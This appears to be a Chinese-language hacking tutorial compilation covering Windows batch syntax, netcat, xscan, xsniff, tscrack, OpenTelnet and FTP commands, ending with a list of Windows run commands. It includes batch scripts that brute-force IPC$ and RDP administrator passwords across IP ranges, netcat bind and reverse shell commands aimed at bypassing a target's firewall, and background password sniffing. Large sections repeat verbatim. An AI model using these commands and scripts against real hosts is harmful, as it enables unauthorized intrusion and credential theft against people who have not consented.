(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。


2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”




系统外部命令(均需下载相关工具):

1瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

2扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机


3命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。


5其它:

Shutdown.exe
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

6FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.


系统外部命令(均需下载相关工具):

1瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

2扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机


3命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。


5其它:

Shutdown.exe
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

6FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

7:计算机运行命令全集 winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
